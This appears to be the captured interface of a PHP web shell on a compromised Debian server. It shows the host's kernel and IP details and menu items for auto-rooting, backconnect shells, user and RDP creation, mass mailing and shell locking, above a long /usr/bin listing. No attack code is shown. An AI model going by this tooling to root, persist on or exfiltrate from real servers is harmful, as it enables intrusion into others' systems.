Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
X11
[ DIR ]
drwxr-xr-x
[
66.89
KB
-rwxr-xr-x
aa-enabled
18.23
KB
-rwxr-xr-x
aa-exec
18.23
KB
-rwxr-xr-x
aa-features-abi
18.23
KB
-rwxr-xr-x
addpart
30.31
KB
-rwxr-xr-x
addr2line
23.14
KB
-rwxr-xr-x
apropos
51.29
KB
-rwxr-xr-x
apt
18.31
KB
-rwxr-xr-x
apt-cache
86.38
KB
-rwxr-xr-x
apt-cdrom
22.38
KB
-rwxr-xr-x
apt-config
26.31
KB
-rwxr-xr-x
apt-extracttemplates
22.39
KB
-rwxr-xr-x
apt-ftparchive
270.39
KB
-rwxr-xr-x
apt-get
50.38
KB
-rwxr-xr-x
apt-key
27.32
KB
-rwxr-xr-x
apt-listchanges
11.96
KB
-rwxr-xr-x
apt-mark
58.38
KB
-rwxr-xr-x
apt-sortpkgs
38.32
KB
-rwxr-xr-x
ar
51.17
KB
-rwxr-xr-x
arch
42.86
KB
-rwxr-xr-x
as
897.41
KB
-rwxr-xr-x
at
58.37
KB
-rwsr-sr-x
atq
58.37
KB
-rwsr-sr-x
atrm
58.37
KB
-rwsr-sr-x
autoconf
14.85
KB
-rwxr-xr-x
autoheader
8.82
KB
-rwxr-xr-x
autom4te
32.69
KB
-rwxr-xr-x
autoreconf
26.3
KB
-rwxr-xr-x
autoscan
16.77
KB
-rwxr-xr-x
autoupdate
33.22
KB
-rwxr-xr-x
awk
154.66
KB
-rwxr-xr-x
aws
815
B
-rwxr-xr-x
b2sum
58.98
KB
-rwxr-xr-x
base32
46.89
KB
-rwxr-xr-x
base64
46.89
KB
-rwxr-xr-x
basename
42.83
KB
-rwxr-xr-x
basenc
54.89
KB
-rwxr-xr-x
bash
1.21
MB
-rwxr-xr-x
bashbug
6.7
KB
-rwxr-xr-x
batch
152
B
-rwxr-xr-x
bunzip2
38.3
KB
-rwxr-xr-x
busctl
90.5
KB
-rwxr-xr-x
bzcat
38.3
KB
-rwxr-xr-x
bzcmp
2.17
KB
-rwxr-xr-x
bzdiff
2.17
KB
-rwxr-xr-x
bzegrep
3.69
KB
-rwxr-xr-x
bzexe
4.78
KB
-rwxr-xr-x
bzfgrep
3.69
KB
-rwxr-xr-x
bzgrep
3.69
KB
-rwxr-xr-x
bzip2
38.3
KB
-rwxr-xr-x
bzip2recover
14.23
KB
-rwxr-xr-x
bzless
1.27
KB
-rwxr-xr-x
bzmore
1.27
KB
-rwxr-xr-x
c++
1.25
MB
-rwxr-xr-x
c++filt
18.51
KB
-rwxr-xr-x
c89
428
B
-rwxr-xr-x
c89-gcc
428
B
-rwxr-xr-x
c99
454
B
-rwxr-xr-x
c99-gcc
454
B
-rwxr-xr-x
c_rehash
6.73
KB
-rwxr-xr-x
cal
36.84
KB
-rwxr-xr-x
captoinfo
90.34
KB
-rwxr-xr-x
cat
42.98
KB
-rwxr-xr-x
catman
42.77
KB
-rwxr-xr-x
cc
1.24
MB
-rwxr-xr-x
chacl
14.23
KB
-rwxr-xr-x
chage
78.49
KB
-rwxr-sr-x
chardet
221
B
-rwxr-xr-x
chardetect
221
B
-rwxr-xr-x
chattr
14.24
KB
-rwxr-xr-x
chcon
67.11
KB
-rwxr-xr-x
chfn
61.2
KB
-rwsr-xr-x
chgrp
67.05
KB
-rwxr-xr-x
chmod
62.98
KB
-rwxr-xr-x
choom
54.31
KB
-rwxr-xr-x
chown
71.05
KB
-rwxr-xr-x
chrt
66.31
KB
-rwxr-xr-x
chsh
51.64
KB
-rwsr-xr-x
cksum
139.05
KB
-rwxr-xr-x
clear
14.24
KB
-rwxr-xr-x
clear_console
14.15
KB
-rwxr-xr-x
cloud-id
972
B
-rwxr-xr-x
cloud-init
976
B
-rwxr-xr-x
cloud-init-per
2.06
KB
-rwxr-xr-x
cloud-localds
7.21
KB
-rwxr-xr-x
cmp
50.95
KB
-rwxr-xr-x
col
34.31
KB
-rwxr-xr-x
colcrt
14.31
KB
-rwxr-xr-x
colrm
30.31
KB
-rwxr-xr-x
column
54.31
KB
-rwxr-xr-x
comm
46.92
KB
-rwxr-xr-x
corelist
15.01
KB
-rwxr-xr-x
cp
147.61
KB
-rwxr-xr-x
cpan
8.16
KB
-rwxr-xr-x
cpan5.36-x86_64-linux-gnu
8.18
KB
-rwxr-xr-x
cpio
158.56
KB
-rwxr-xr-x
cpp
1.24
MB
-rwxr-xr-x
cpp-12
1.24
MB
-rwxr-xr-x
crontab
42.63
KB
-rwxr-sr-x
csplit
119.17
KB
-rwxr-xr-x
ctstat
26.59
KB
-rwxr-xr-x
curl
274.22
KB
-rwxr-xr-x
cut
46.98
KB
-rwxr-xr-x
cvtsudoers
337.19
KB
-rwxr-xr-x
dash
122.7
KB
-rwxr-xr-x
date
119.05
KB
-rwxr-xr-x
dbus-cleanup-sockets
14.22
KB
-rwxr-xr-x
dbus-daemon
238.56
KB
-rwxr-xr-x
dbus-monitor
26.23
KB
-rwxr-xr-x
dbus-run-session
14.23
KB
-rwxr-xr-x
dbus-send
30.22
KB
-rwxr-xr-x
dbus-update-activation-environ...
14.22
KB
-rwxr-xr-x
dbus-uuidgen
14.22
KB
-rwxr-xr-x
dd
87.15
KB
-rwxr-xr-x
deb-systemd-helper
23.79
KB
-rwxr-xr-x
deb-systemd-invoke
6.09
KB
-rwxr-xr-x
debconf
2.79
KB
-rwxr-xr-x
debconf-apt-progress
11.27
KB
-rwxr-xr-x
debconf-communicate
608
B
-rwxr-xr-x
debconf-copydb
1.68
KB
-rwxr-xr-x
debconf-escape
647
B
-rwxr-xr-x
debconf-set-selections
2.92
KB
-rwxr-xr-x
debconf-show
1.78
KB
-rwxr-xr-x
debianbts
217
B
-rwxr-xr-x
delpart
30.31
KB
-rwxr-xr-x
delv
41.3
KB
-rwxr-xr-x
devdump
180.17
KB
-rwxr-xr-x
df
99.8
KB
-rwxr-xr-x
dh_autotools-dev_restoreconfig
1.79
KB
-rwxr-xr-x
dh_autotools-dev_updateconfig
1.81
KB
-rwxr-xr-x
dh_bash-completion
4.31
KB
-rwxr-xr-x
dh_installxmlcatalogs
9.22
KB
-rwxr-xr-x
diff
151.58
KB
-rwxr-xr-x
diff3
67.14
KB
-rwxr-xr-x
dig
142.77
KB
-rwxr-xr-x
dir
147.8
KB
-rwxr-xr-x
dircolors
50.92
KB
-rwxr-xr-x
dirname
38.83
KB
-rwxr-xr-x
dirsplit
16.74
KB
-rwxr-xr-x
dmesg
86.58
KB
-rwxr-xr-x
dnsdomainname
22.15
KB
-rwxr-xr-x
dnstap-read
18.33
KB
-rwxr-xr-x
docutils
960
B
-rwxr-xr-x
domainname
22.15
KB
-rwxr-xr-x
dpkg
310.64
KB
-rwxr-xr-x
dpkg-architecture
14.85
KB
-rwxr-xr-x
dpkg-buildflags
8.14
KB
-rwxr-xr-x
dpkg-buildpackage
32.63
KB
-rwxr-xr-x
dpkg-checkbuilddeps
7.45
KB
-rwxr-xr-x
dpkg-deb
166.52
KB
-rwxr-xr-x
dpkg-distaddfile
2.72
KB
-rwxr-xr-x
dpkg-divert
154.55
KB
-rwxr-xr-x
dpkg-genbuildinfo
18.48
KB
-rwxr-xr-x
dpkg-genchanges
17.39
KB
-rwxr-xr-x
dpkg-gencontrol
14.2
KB
-rwxr-xr-x
dpkg-gensymbols
10.65
KB
-rwxr-xr-x
dpkg-maintscript-helper
20.71
KB
-rwxr-xr-x
dpkg-mergechangelogs
8.88
KB
-rwxr-xr-x
dpkg-name
6.62
KB
-rwxr-xr-x
dpkg-parsechangelog
4.83
KB
-rwxr-xr-x
dpkg-query
158.58
KB
-rwxr-xr-x
dpkg-realpath
4.09
KB
-rwxr-xr-x
dpkg-scanpackages
8.47
KB
-rwxr-xr-x
dpkg-scansources
8.98
KB
-rwxr-xr-x
dpkg-shlibdeps
31.17
KB
-rwxr-xr-x
dpkg-source
22.91
KB
-rwxr-xr-x
dpkg-split
126.48
KB
-rwxr-xr-x
dpkg-statoverride
62.33
KB
-rwxr-xr-x
dpkg-trigger
86.48
KB
-rwxr-xr-x
dpkg-vendor
3.18
KB
-rwxr-xr-x
du
171.33
KB
-rwxr-xr-x
dwp
1.79
MB
-rwxr-xr-x
ec2-metadata
7.71
KB
-rwxr-xr-x
ec2metadata
8.38
KB
-rwxr-xr-x
echo
42.83
KB
-rwxr-xr-x
editor
280.74
KB
-rwxr-xr-x
egrep
41
B
-rwxr-xr-x
eject
82.16
KB
-rwxr-xr-x
elfedit
35.03
KB
-rwxr-xr-x
enc2xs
40.96
KB
-rwxr-xr-x
encguess
3
KB
-rwxr-xr-x
env
47.4
KB
-rwxr-xr-x
envsubst
34.31
KB
-rwxr-xr-x
eqn
205.42
KB
-rwxr-xr-x
ex
3.48
MB
-rwxr-xr-x
expand
42.92
KB
-rwxr-xr-x
expiry
30.45
KB
-rwxr-sr-x
expr
115.05
KB
-rwxr-xr-x
factor
83.2
KB
-rwxr-xr-x
faillog
22.53
KB
-rwxr-xr-x
fallocate
34.31
KB
-rwxr-xr-x
false
34.83
KB
-rwxr-xr-x
fgrep
41
B
-rwxr-xr-x
filan
96.02
KB
-rwxr-xr-x
file
26.48
KB
-rwxr-xr-x
fincore
34.36
KB
-rwxr-xr-x
find
219.58
KB
-rwxr-xr-x
findmnt
83.59
KB
-rwxr-xr-x
flock
34.39
KB
-rwxr-xr-x
fmt
46.89
KB
-rwxr-xr-x
fold
42.89
KB
-rwxr-xr-x
free
26.3
KB
-rwxr-xr-x
funzip
22.46
KB
-rwxr-xr-x
fuser
39.83
KB
-rwxr-xr-x
g++
1.25
MB
-rwxr-xr-x
g++-12
1.25
MB
-rwxr-xr-x
gcc
1.24
MB
-rwxr-xr-x
gcc-12
1.24
MB
-rwxr-xr-x
gcc-ar
34.54
KB
-rwxr-xr-x
gcc-ar-12
34.54
KB
-rwxr-xr-x
gcc-nm
34.54
KB
-rwxr-xr-x
gcc-nm-12
34.54
KB
-rwxr-xr-x
gcc-ranlib
34.54
KB
-rwxr-xr-x
gcc-ranlib-12
34.54
KB
-rwxr-xr-x
gcov
720.16
KB
-rwxr-xr-x
gcov-12
720.16
KB
-rwxr-xr-x
gcov-dump
568.02
KB
-rwxr-xr-x
gcov-dump-12
568.02
KB
-rwxr-xr-x
gcov-tool
588.09
KB
-rwxr-xr-x
gcov-tool-12
588.09
KB
-rwxr-xr-x
gencat
26.75
KB
-rwxr-xr-x
genisoimage
631.17
KB
-rwxr-xr-x
geqn
205.42
KB
-rwxr-xr-x
getconf
26.5
KB
-rwxr-xr-x
geteltorito
6.06
KB
-rwxr-xr-x
getent
35.47
KB
-rwxr-xr-x
getfacl
30.8
KB
-rwxr-xr-x
getopt
34.31
KB
-rwxr-xr-x
gettext
34.31
KB
-rwxr-xr-x
gettext.sh
5.07
KB
-rwxr-xr-x
git
3.54
MB
-rwxr-xr-x
git-receive-pack
3.54
MB
-rwxr-xr-x
git-shell
2.04
MB
-rwxr-xr-x
git-upload-archive
3.54
MB
-rwxr-xr-x
git-upload-pack
3.54
MB
-rwxr-xr-x
gmake
234.65
KB
-rwxr-xr-x
gold
2.99
MB
-rwxr-xr-x
gonit
8.2
MB
-rwxr-xr-x
gp-archive
159.06
KB
-rwxr-xr-x
gp-collect-app
175.27
KB
-rwxr-xr-x
gp-display-html
578.29
KB
-rwxr-xr-x
gp-display-src
150.81
KB
-rwxr-xr-x
gp-display-text
257.3
KB
-rwxr-xr-x
gpasswd
86.42
KB
-rwsr-xr-x
gpgv
463
KB
-rwxr-xr-x
gpic
220.27
KB
-rwxr-xr-x
gprof
108.35
KB
-rwxr-xr-x
gprofng
146.59
KB
-rwxr-xr-x
grep
198.39
KB
-rwxr-xr-x
grep-aptavail
52.54
KB
-rwxr-xr-x
grep-available
52.54
KB
-rwxr-xr-x
grep-dctrl
52.54
KB
-rwxr-xr-x
grep-debtags
52.54
KB
-rwxr-xr-x
grep-status
52.54
KB
-rwxr-xr-x
groff
125.45
KB
-rwxr-xr-x
grog
2.71
KB
-rwxr-xr-x
grops
185.86
KB
-rwxr-xr-x
grotty
137.48
KB
-rwxr-xr-x
groups
42.89
KB
-rwxr-xr-x
growpart
29.19
KB
-rwxr-xr-x
grub-editenv
374.16
KB
-rwxr-xr-x
grub-file
809.41
KB
-rwxr-xr-x
grub-fstest
931.13
KB
-rwxr-xr-x
grub-glue-efi
245.01
KB
-rwxr-xr-x
grub-kbdcomp
1.64
KB
-rwxr-xr-x
grub-menulst2cfg
229.05
KB
-rwxr-xr-x
grub-mkfont
273.66
KB
-rwxr-xr-x
grub-mkimage
354.2
KB
-rwxr-xr-x
grub-mklayout
249.29
KB
-rwxr-xr-x
grub-mknetdir
410.99
KB
-rwxr-xr-x
grub-mkpasswd-pbkdf2
257.35
KB
-rwxr-xr-x
grub-mkrelpath
244.7
KB
-rwxr-xr-x
grub-mkrescue
987.84
KB
-rwxr-xr-x
grub-mkstandalone
487.32
KB
-rwxr-xr-x
grub-mount
754.05
KB
-rwxr-xr-x
grub-render-label
822.01
KB
-rwxr-xr-x
grub-script-check
272.82
KB
-rwxr-xr-x
grub-syslinux2cfg
770.52
KB
-rwxr-xr-x
gtbl
146.43
KB
-rwxr-xr-x
gunzip
2.29
KB
-rwxr-xr-x
gzexe
6.3
KB
-rwxr-xr-x
gzip
95.84
KB
-rwxr-xr-x
h2ph
28.54
KB
-rwxr-xr-x
h2xs
59.51
KB
-rwxr-xr-x
hardlink
50.39
KB
-rwxr-xr-x
hd
58.32
KB
-rwxr-xr-x
head
46.95
KB
-rwxr-xr-x
helpztags
2.46
KB
-rwxr-xr-x
hexdump
58.32
KB
-rwxr-xr-x
host
114.7
KB
-rwxr-xr-x
hostid
38.83
KB
-rwxr-xr-x
hostname
22.15
KB
-rwxr-xr-x
hostnamectl
30.38
KB
-rwxr-xr-x
i386
26.58
KB
-rwxr-xr-x
iconv
63.13
KB
-rwxr-xr-x
id
47.02
KB
-rwxr-xr-x
ifnames
4.08
KB
-rwxr-xr-x
infocmp
62.31
KB
-rwxr-xr-x
infotocap
90.34
KB
-rwxr-xr-x
install
155.8
KB
-rwxr-xr-x
instmodsh
4.27
KB
-rwxr-xr-x
ionice
34.31
KB
-rwxr-xr-x
ip
674.82
KB
-rwxr-xr-x
ipcmk
34.38
KB
-rwxr-xr-x
ipcrm
34.31
KB
-rwxr-xr-x
ipcs
74.31
KB
-rwxr-xr-x
iptables-xml
88.98
KB
-rwxr-xr-x
ischroot
14.32
KB
-rwxr-xr-x
isodump
180.17
KB
-rwxr-xr-x
isoinfo
343.42
KB
-rwxr-xr-x
isovfy
184.14
KB
-rwxr-xr-x
join
54.98
KB
-rwxr-xr-x
join-dctrl
35.13
KB
-rwxr-xr-x
journalctl
74.64
KB
-rwxr-xr-x
json-patch-jsondiff
1004
B
-rwxr-xr-x
json_pp
4.88
KB
-rwxr-xr-x
jsondiff
1004
B
-rwxr-xr-x
jsonpatch
3.77
KB
-rwxr-xr-x
jsonpointer
1.79
KB
-rwxr-xr-x
jsonschema
213
B
-rwxr-xr-x
kernel-install
12.75
KB
-rwxr-xr-x
kill
22.3
KB
-rwxr-xr-x
killall
31.95
KB
-rwxr-xr-x
kmod
174.27
KB
-rwxr-xr-x
last
50.31
KB
-rwxr-xr-x
lastb
50.31
KB
-rwxr-xr-x
lastlog
31.75
KB
-rwxr-xr-x
lcf
7.6
KB
-rwxr-xr-x
ld
1.27
MB
-rwxr-xr-x
ld.bfd
1.27
MB
-rwxr-xr-x
ld.gold
2.99
MB
-rwxr-xr-x
ld.so
209.96
KB
-rwxr-xr-x
ldd
5.28
KB
-rwxr-xr-x
less
194.3
KB
-rwxr-xr-x
lessecho
14.24
KB
-rwxr-xr-x
lessfile
8.83
KB
-rwxr-xr-x
lesskey
23.63
KB
-rwxr-xr-x
lesspipe
8.83
KB
-rwxr-xr-x
lexgrog
107.48
KB
-rwxr-xr-x
lft
2.43
KB
-rwxr-xr-x
lft.db
2.43
KB
-rwxr-xr-x
libnetcfg
15.41
KB
-rwxr-xr-x
libtoolize
133.12
KB
-rwxr-xr-x
link
38.83
KB
-rwxr-xr-x
linux-check-removal
4.56
KB
-rwxr-xr-x
linux-update-symlinks
6.17
KB
-rwxr-xr-x
linux-version
2.63
KB
-rwxr-xr-x
linux32
26.58
KB
-rwxr-xr-x
linux64
26.58
KB
-rwxr-xr-x
ln
71.12
KB
-rwxr-xr-x
lnstat
26.59
KB
-rwxr-xr-x
locale
46.16
KB
-rwxr-xr-x
localectl
26.38
KB
-rwxr-xr-x
localedef
291.91
KB
-rwxr-xr-x
logger
54.9
KB
-rwxr-xr-x
login
51.78
KB
-rwxr-xr-x
loginctl
58.48
KB
-rwxr-xr-x
logname
38.83
KB
-rwxr-xr-x
look
18.31
KB
-rwxr-xr-x
ls
147.8
KB
-rwxr-xr-x
lsattr
14.24
KB
-rwxr-xr-x
lsb_release
2.59
KB
-rwxr-xr-x
lsblk
202.31
KB
-rwxr-xr-x
lscpu
126.31
KB
-rwxr-xr-x
lsfd
120.3
KB
-rwxr-xr-x
lsinitramfs
735
B
-rwxr-xr-x
lsipc
98.31
KB
-rwxr-xr-x
lsirq
34.48
KB
-rwxr-xr-x
lslocks
70.7
KB
-rwxr-xr-x
lslogins
94.31
KB
-rwxr-xr-x
lsmem
66.31
KB
-rwxr-xr-x
lsmod
174.27
KB
-rwxr-xr-x
lsns
82.31
KB
-rwxr-xr-x
lspci
104.04
KB
-rwxr-xr-x
lto-dump
30.47
MB
-rwxr-xr-x
lto-dump-12
30.47
MB
-rwxr-xr-x
lzcat
82.7
KB
-rwxr-xr-x
lzcmp
7.25
KB
-rwxr-xr-x
lzdiff
7.25
KB
-rwxr-xr-x
lzegrep
10.09
KB
-rwxr-xr-x
lzfgrep
10.09
KB
-rwxr-xr-x
lzgrep
10.09
KB
-rwxr-xr-x
lzless
1.77
KB
-rwxr-xr-x
lzma
82.7
KB
-rwxr-xr-x
lzmainfo
14.3
KB
-rwxr-xr-x
lzmore
2.14
KB
-rwxr-xr-x
m4
271.52
KB
-rwxr-xr-x
make
234.65
KB
-rwxr-xr-x
make-first-existing-target
4.79
KB
-rwxr-xr-x
man
121.36
KB
-rwxr-xr-x
man-recode
35.38
KB
-rwxr-xr-x
mandb
147.61
KB
-rwxr-xr-x
manpath
34.78
KB
-rwxr-xr-x
markdown-it
220
B
-rwxr-xr-x
mawk
154.66
KB
-rwxr-xr-x
mcookie
34.38
KB
-rwxr-xr-x
md5sum
50.95
KB
-rwxr-xr-x
md5sum.textutils
50.95
KB
-rwxr-xr-x
mdig
46.33
KB
-rwxr-xr-x
mesg
18.3
KB
-rwxr-xr-x
mkdir
95.27
KB
-rwxr-xr-x
mkfifo
67.17
KB
-rwxr-xr-x
mkisofs
631.17
KB
-rwxr-xr-x
mknod
71.2
KB
-rwxr-xr-x
mktemp
42.92
KB
-rwxr-xr-x
mkzftree
30.84
KB
-rwxr-xr-x
mokutil
60.27
KB
-rwxr-xr-x
monit
8.2
MB
-rwxr-xr-x
more
58.31
KB
-rwxr-xr-x
mount
58.3
KB
-rwsr-xr-x
mount-image-callback
13.86
KB
-rwxr-xr-x
mountpoint
18.3
KB
-rwxr-xr-x
mt
83.38
KB
-rwxr-xr-x
mt-gnu
83.38
KB
-rwxr-xr-x
mv
139.62
KB
-rwxr-xr-x
namei
34.31
KB
-rwxr-xr-x
nano
280.74
KB
-rwxr-xr-x
nawk
154.66
KB
-rwxr-xr-x
ncal
36.84
KB
-rwxr-xr-x
neqn
913
B
-rwxr-xr-x
netstat
151.66
KB
-rwxr-xr-x
networkctl
106.38
KB
-rwxr-xr-x
newgrp
47.75
KB
-rwsr-xr-x
ngettext
34.31
KB
-rwxr-xr-x
nice
42.86
KB
-rwxr-xr-x
nisdomainname
22.15
KB
-rwxr-xr-x
nl
111.11
KB
-rwxr-xr-x
nm
44.03
KB
-rwxr-xr-x
nohup
42.89
KB
-rwxr-xr-x
normalizer
244
B
-rwxr-xr-x
nproc
42.89
KB
-rwxr-xr-x
nroff
3.22
KB
-rwxr-xr-x
nsenter
34.54
KB
-rwxr-xr-x
nslookup
114.74
KB
-rwxr-xr-x
nstat
104.45
KB
-rwxr-xr-x
nsupdate
74.55
KB
-rwxr-xr-x
numfmt
67.02
KB
-rwxr-xr-x
objcopy
155.66
KB
-rwxr-xr-x
objdump
362.56
KB
-rwxr-xr-x
od
79.02
KB
-rwxr-xr-x
openssl
953.26
KB
-rwxr-xr-x
pager
194.3
KB
-rwxr-xr-x
partx
118.31
KB
-rwxr-xr-x
passwd
66.65
KB
-rwsr-xr-x
paste
42.89
KB
-rwxr-xr-x
patch
187.44
KB
-rwxr-xr-x
pathchk
42.86
KB
-rwxr-xr-x
pdb3
62.4
KB
-rwxr-xr-x
pdb3.11
62.4
KB
-rwxr-xr-x
peekfd
14.5
KB
-rwxr-xr-x
perl
3.63
MB
-rwxr-xr-x
perl5.36-x86_64-linux-gnu
14.41
KB
-rwxr-xr-x
perl5.36.0
3.63
MB
-rwxr-xr-x
perlbug
44.12
KB
-rwxr-xr-x
perldoc
125
B
-rwxr-xr-x
perlivp
10.61
KB
-rwxr-xr-x
perlthanks
44.12
KB
-rwxr-xr-x
pgrep
34.42
KB
-rwxr-xr-x
pic
220.27
KB
-rwxr-xr-x
pico
280.74
KB
-rwxr-xr-x
piconv
8.16
KB
-rwxr-xr-x
pidof
26.31
KB
-rwxr-xr-x
pidwait
34.42
KB
-rwxr-xr-x
ping
88.45
KB
-rwxr-xr-x
ping4
88.45
KB
-rwxr-xr-x
ping6
88.45
KB
-rwxr-xr-x
pinky
47.05
KB
-rwxr-xr-x
pkaction
18.23
KB
-rwxr-xr-x
pkcheck
22.3
KB
-rwxr-xr-x
pkill
34.42
KB
-rwxr-xr-x
pkttyagent
18.23
KB
-rwxr-xr-x
pl2pm
4.43
KB
-rwxr-xr-x
pldd
22.69
KB
-rwxr-xr-x
pmap
34.34
KB
-rwxr-xr-x
pod2html
4.04
KB
-rwxr-xr-x
pod2man
14.68
KB
-rwxr-xr-x
pod2text
10.55
KB
-rwxr-xr-x
pod2usage
4.01
KB
-rwxr-xr-x
podchecker
3.57
KB
-rwxr-xr-x
pr
79.11
KB
-rwxr-xr-x
preconv
66.43
KB
-rwxr-xr-x
printenv
34.83
KB
-rwxr-xr-x
printf
62.92
KB
-rwxr-xr-x
prlimit
38.83
KB
-rwxr-xr-x
procan
79.91
KB
-rwxr-xr-x
prove
13.34
KB
-rwxr-xr-x
prtstat
18.57
KB
-rwxr-xr-x
ps
142.93
KB
-rwxr-xr-x
pslog
14.45
KB
-rwxr-xr-x
pstree
35.78
KB
-rwxr-xr-x
pstree.x11
35.78
KB
-rwxr-xr-x
ptar
3.48
KB
-rwxr-xr-x
ptardiff
2.58
KB
-rwxr-xr-x
ptargrep
4.29
KB
-rwxr-xr-x
ptx
135.23
KB
-rwxr-xr-x
pwd
42.92
KB
-rwxr-xr-x
pwdx
14.3
KB
-rwxr-xr-x
py3clean
7.63
KB
-rwxr-xr-x
py3compile
13
KB
-rwxr-xr-x
py3versions
12.52
KB
-rwxr-xr-x
pydoc3
79
B
-rwxr-xr-x
pydoc3.11
79
B
-rwxr-xr-x
pygettext3
23.67
KB
-rwxr-xr-x
pygettext3.11
23.67
KB
-rwxr-xr-x
pygmentize
970
B
-rwxr-xr-x
pyserial-miniterm
975
B
-rwxr-xr-x
pyserial-ports
969
B
-rwxr-xr-x
python3
6.52
MB
-rwxr-xr-x
python3.11
6.52
MB
-rwxr-xr-x
pzstd
742.38
KB
-rwxr-xr-x
qemu-img
2.19
MB
-rwxr-xr-x
qemu-io
2.14
MB
-rwxr-xr-x
qemu-nbd
2.33
MB
-rwxr-xr-x
querybts
10.64
KB
-rwxr-xr-x
ranlib
51.17
KB
-rwxr-xr-x
rbash
1.21
MB
-rwxr-xr-x
rdma
180.6
KB
-rwxr-xr-x
readelf
751.38
KB
-rwxr-xr-x
readlink
50.89
KB
-rwxr-xr-x
realpath
50.92
KB
-rwxr-xr-x
rename.ul
22.3
KB
-rwxr-xr-x
renice
14.3
KB
-rwxr-xr-x
reportbug
110.11
KB
-rwxr-xr-x
reset
30.24
KB
-rwxr-xr-x
resize-part-image
4.23
KB
-rwxr-xr-x
resizepart
70.31
KB
-rwxr-xr-x
resolvectl
146.53
KB
-rwxr-xr-x
rev
14.3
KB
-rwxr-xr-x
rgrep
30
B
-rwxr-xr-x
rm
71.05
KB
-rwxr-xr-x
rmdir
54.92
KB
-rwxr-xr-x
rnano
280.74
KB
-rwxr-xr-x
routel
1.62
KB
-rwxr-xr-x
rpcgen
95
KB
-rwxr-xr-x
rst-buildhtml
11.17
KB
-rwxr-xr-x
rst2html
592
B
-rwxr-xr-x
rst2html4
714
B
-rwxr-xr-x
rst2html5
1.03
KB
-rwxr-xr-x
rst2latex
791
B
-rwxr-xr-x
rst2man
614
B
-rwxr-xr-x
rst2odt
780
B
-rwxr-xr-x
rst2odt_prepstyles
2.01
KB
-rwxr-xr-x
rst2pseudoxml
599
B
-rwxr-xr-x
rst2s5
635
B
-rwxr-xr-x
rst2xetex
871
B
-rwxr-xr-x
rst2xml
600
B
-rwxr-xr-x
rstpep2html
668
B
-rwxr-xr-x
rtstat
26.59
KB
-rwxr-xr-x
run-parts
26.91
KB
-rwxr-xr-x
runcon
42.95
KB
-rwxr-xr-x
rview
3.48
MB
-rwxr-xr-x
rvim
3.48
MB
-rwxr-xr-x
salt-call
295
B
-rwxr-xr-x
salt-minion
299
B
-rwxr-xr-x
salt-pip
293
B
-rwxr-xr-x
salt-proxy
297
B
-rwxr-xr-x
savelog
10.24
KB
-rwxr-xr-x
scalar
2.1
MB
-rwxr-xr-x
scp
266.63
KB
-rwxr-xr-x
screen
471.09
KB
-rwxr-xr-x
script
70.3
KB
-rwxr-xr-x
scriptlive
54.3
KB
-rwxr-xr-x
scriptreplay
46.3
KB
-rwxr-xr-x
sdiff
55.08
KB
-rwxr-xr-x
sed
123.46
KB
-rwxr-xr-x
select-editor
2.39
KB
-rwxr-xr-x
sensible-browser
1.26
KB
-rwxr-xr-x
sensible-editor
1.24
KB
-rwxr-xr-x
sensible-pager
565
B
-rwxr-xr-x
seq
58.92
KB
-rwxr-xr-x
setarch
26.58
KB
-rwxr-xr-x
setfacl
38.84
KB
-rwxr-xr-x
setpci
30.31
KB
-rwxr-xr-x
setpriv
78.31
KB
-rwxr-xr-x
setsid
14.3
KB
-rwxr-xr-x
setterm
46.31
KB
-rwxr-xr-x
sftp
282.59
KB
-rwxr-xr-x
sg
47.75
KB
-rwsr-xr-x
sh
122.7
KB
-rwxr-xr-x
sha1sum
54.95
KB
-rwxr-xr-x
sha224sum
58.95
KB
-rwxr-xr-x
sha256sum
58.95
KB
-rwxr-xr-x
sha384sum
62.95
KB
-rwxr-xr-x
sha512sum
62.95
KB
-rwxr-xr-x
shasum
9.75
KB
-rwxr-xr-x
shred
63.14
KB
-rwxr-xr-x
shuf
58.98
KB
-rwxr-xr-x
size
26.86
KB
-rwxr-xr-x
skill
30.33
KB
-rwxr-xr-x
slabtop
22.37
KB
-rwxr-xr-x
sleep
42.86
KB
-rwxr-xr-x
slogin
1.07
MB
-rwxr-xr-x
snice
30.33
KB
-rwxr-xr-x
socat
401.98
KB
-rwxr-xr-x
soelim
50.43
KB
-rwxr-xr-x
sort
115.68
KB
-rwxr-xr-x
sort-dctrl
38.98
KB
-rwxr-xr-x
splain
18.99
KB
-rwxr-xr-x
split
59.55
KB
-rwxr-xr-x
ss
189.14
KB
-rwxr-xr-x
ssh
1.07
MB
-rwxr-xr-x
ssh-add
518.44
KB
-rwxr-xr-x
ssh-agent
474.38
KB
-rwxr-sr-x
ssh-argv0
1.42
KB
-rwxr-xr-x
ssh-copy-id
12.38
KB
-rwxr-xr-x
ssh-keygen
646.44
KB
-rwxr-xr-x
ssh-keyscan
622.47
KB
-rwxr-xr-x
stat
95.2
KB
-rwxr-xr-x
stdbuf
58.92
KB
-rwxr-xr-x
streamzip
7.75
KB
-rwxr-xr-x
strings
30.98
KB
-rwxr-xr-x
strip
155.7
KB
-rwxr-xr-x
stty
83.02
KB
-rwxr-xr-x
su
70.31
KB
-rwsr-xr-x
sudo
275.02
KB
-rwsr-xr-x
sudoedit
275.02
KB
-rwsr-xr-x
sudoreplay
115.7
KB
-rwxr-xr-x
sum
50.96
KB
-rwxr-xr-x
sync
38.89
KB
-rwxr-xr-x
systemctl
1.29
MB
-rwxr-xr-x
systemd
90.38
KB
-rwxr-xr-x
systemd-analyze
182.61
KB
-rwxr-xr-x
systemd-ask-password
18.48
KB
-rwxr-xr-x
systemd-cat
18.38
KB
-rwxr-xr-x
systemd-cgls
22.48
KB
-rwxr-xr-x
systemd-cgtop
38.4
KB
-rwxr-xr-x
systemd-creds
42.61
KB
-rwxr-xr-x
systemd-cryptenroll
58.6
KB
-rwxr-xr-x
systemd-delta
26.38
KB
-rwxr-xr-x
systemd-detect-virt
18.37
KB
-rwxr-xr-x
systemd-escape
18.37
KB
-rwxr-xr-x
systemd-firstboot
50.59
KB
-rwxr-xr-x
systemd-hwdb
126.66
KB
-rwxr-xr-x
systemd-id128
22.37
KB
-rwxr-xr-x
systemd-inhibit
22.39
KB
